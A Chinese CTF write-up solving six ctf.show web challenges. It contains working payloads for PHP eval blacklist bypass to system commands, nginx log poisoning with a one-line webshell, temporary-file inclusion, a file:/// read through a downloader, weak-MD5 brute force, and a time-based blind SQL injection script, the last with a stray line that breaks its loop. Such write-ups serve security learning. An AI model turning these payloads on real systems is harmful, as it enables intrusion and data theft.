0x01 WEB_你取吧
题目源码
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>
非预期解1:
题目是一个命令执行绕过的题,但是根据黑名单我们发现没法用异或或者取反绕过,但是可以用自增。直接给出大神的payload(相当于一句话eval($_POST['_'])
),然后就是使用一句话直接POST _=system(‘cat /flag’)
code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1
非预期解2:
既然没有限制我们用$
和[]
那我们直接用数组下标取出黑名单中的值即可。
比如$_[0]=a,$_[1]=b
。那么我们就可以用点号将单个字符连接构成相应的函数进行利用。
我们最终的目的是要构造出如下语句
$__='system';$___='ls';$__($___);
这里给出一个简单的拼接脚本
输出想用的函数即可得到相应的连接字符
s=['a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^']
word=input()
code=''
for j in word:
if j in s:
code+='$_['+str(s.index(j))+'].'
else:
code+="'"+j+"'"+"."
print(code)
'system'=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11]
'ls /'=$_[13].$_[18].' /'
查看根目录下的文件(system(‘ls /’))
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[13].$_[18].' /';$__($___);(1
打开flag文件(system(‘cat /flag’))
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);(1
预期解
题中的代码给了$hint,那我们读取看看
payload:code=${$_[7].$_[8].$_[12].$_[19]}
解密base64得到phpjiami压缩包和hint.php,访问得到压缩包。是一个混淆后的php文件,那我们直接尝试解密。解密php脚本如下
<?php
function decrypt($data, $key)
{
$data_1 = '';
for ($i = 0; $i < strlen($data); $i++) {
$ch = ord($data[$i]);
if ($ch < 245) {
if ($ch > 136) {
$data_1 .= chr($ch / 2);
} else {
$data_1 .= $data[$i];
}
}
}
$data_1 = base64_decode($data_1);
$key = md5($key);
$j = $ctrmax = 32;
$data_2 = '';
for ($i = 0; $i < strlen($data_1); $i++) {
if ($j <= 0) {
$j = $ctrmax;
}
$j--;
$data_2 .= $data_1[$i] ^ $key[$j];
}
return $data_2;
}
function find_data($code)
{
$code_end = strrpos($code, '?>');
if (!$code_end) {
return "";
}
$data_start = $code_end + 2;
$data = substr($code, $data_start, -46);
return $data;
}
function find_key($code)
{
// $v1 = $v2('bWQ1');
// $key1 = $v1('??????');
$pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
$pos2 = strrpos(substr($code, 0, $pos1), '$');
$pos3 = strrpos(substr($code, 0, $pos2), '$');
$var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
$pos4 = strpos($code, $var_name, $pos1);
$pos5 = strpos($code, "('", $pos4);
$pos6 = strpos($code, "')", $pos4);
$key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
return $key;
}
$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';
$code = file_get_contents($input_file);
$data = find_data($code);
if (!$code) {
echo '未找到加密数据', PHP_EOL;
exit;
}
$key = find_key($code);
if (!$key) {
echo '未找到秘钥', PHP_EOL;
exit;
}
$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
$decrypted = str_rot13($uncompressed);
} else {
$decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;
用法 php 该解密脚本 带解密的php文件例如 php decrypt.php encrypt.php
解密后即可得到hint.php的内容,直接利用里面的一句话即可
0x02 WEB_RemoteImageDownloader
考点: js读本地文件
借鉴大神们的代码
在自己服务器创建html页面并添加如下js代码,接着在题目的输入框中写入服务器上该页面的地址即可
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="b64"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///flag");
oReq.send();
0x03 WEB_ALL_INFO_U_WANT
根据提示扫描后台目录得到 index.php.bak查看源码,是文件包含漏洞
解法1:日志文件包含
因为是nginx的日志文件在 /var/log/nginx/access.log
直接包含尝试可行,接着将一句话写入UA,蚁剑连接即可。
但是发现flag隐藏在/etc的文件夹下
那我们直接查找带有flag字符的文件就好啦
grep -r "flag" *
* : 表示当前目录所有文件,也可以是某个文件名
-r 是递归查找
这里再给出其他大神提供的方法
find /etc -name "*" | xargs grep "flag"
解法2:临时文件包含
上传一句话并利用死循环,防止脚本执行结束后删除临时文件
怎么产生死循环呢,直接包含自身就可以了
<html>
<body>
<form action="https://a0d685b2-4404-43d4-ace2-32935120f010.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="选择文件">
<input type="submit" name="submit" value="上传">
</form>
</body>
</html>
接着直接包含该临时文件就可以了
0x04 WEB_WUSTCTF_朴实无华_Revenge
level1
要求输入的字符不是回文,但是intval($num) = intval(strrev($num));
因为intval的特性,level1就有很多方法绕过了
举几个例子 -0, 0- , 1.10 , 0. , .0
level2
要求$md5==md5(md5($md5))
根据php弱类型比较的漏洞,直接跑脚本使得
0e连接上一个数构成的字符串,进行两次md5之后依然是0e开头,且全部都是数字
import hashlib
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
for i in range(10**30):
i='0e'+str(i)
result=md5(md5(i))
if result[0:2]=='0e' and result[2:].isnumeric():
print(i)
跑了大概一个半小时 结果是0e1138100474
level3
过滤了空格可以用%09代替,过滤了关键字可以加\绕过
payload:c\at%09/flag
0x05 WEB_给你shell
右键查看网页源代码得到php源码
目的很简单,输入的secret的md5是$flag的md5
但是题目用的弱比较
在网站上输入?give_me_shell
得到了 $flag的逐位与0xC0与的结果,其中为0的则代表md5值为0-9中的,为64的则代表是a-f中的
因为前三位均为0说明$flag的md5的前三位为数字第四位为字母,
那我们直接爆破即可了
import requests
url = "https://23df1ff9-39b7-442d-9b9d-fca6ebdaff47.chall.ctf.show/?give_me_shell"
s = requests.session()
for i in range(10):
for j in range(10):
for k in range(10):
headers = {
'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}'
}
res = s.get(url,headers = headers)
if "here is your" in res.text:
print(headers)
print(res.text)
得到115,所以直接修改cookie中secret的值为{“secret”:115}即可
得到 w3b5HeLLlll123.php,访问发现又是一个代码审计
通过测试发现过滤了单双引号,括号,反引号,字符 f 以及一些常用函数,既然题目提示我们 flag在 /flag.txt中,那个就应该是要读取文件内容了,既然括号不能用,那就只有使用几个不需要括号的函数了 比如 echo require,因为反引号过滤了,显然echo没有价值了,那个就只有 require了。
题目中没有过滤掉~,那个我们就可以构造文件名
首先读取 /flag.txt中的内容
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
提示flag在/flag中
payload:?code=]=1?><?=require~%d0%99%93%9e%98?>
0x06 WEB_Login_Only_For_36D
经过测试用户名中只要有admin即可进行注入,
猜测sql语句为select * from users where username='$username' and password='$password'
因为过滤了引号但是留了注释符,那么我们可以用\将单引号转义
构成如下语句
select * from users where username='\' and password='||1#'
但是发现没能登录成功,看来我们需要将密码爆破出来了
经过手工尝试,发现密码字段为password并且长度为15
没有过滤if可以使用时间盲注,但是过滤了substr和ascii,我们可以right和mid代替,脚本如下
import requests
url="https://5bbdd868-4f7e-4a8e-b209-3533bea0182d.chall.ctf.show/"
k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(6,16):
print(i)
i=14
for j in k:
j=ord(j)
data={
'username':'admin\\',
'password':'^if(ord(right(password,{0}))like({1}),sleep(2),1)#'.format(i,j)
}
#print(data['password'])
try:
r=requests.post(url,data=data,timeout=(2,2))
except:
flag+=chr(j)
print(flag)
break
登录成功即可得到flag,但是需要将得到的密码逆置
ps:需要根据自己网络进行延时的调整,不然可能会不准确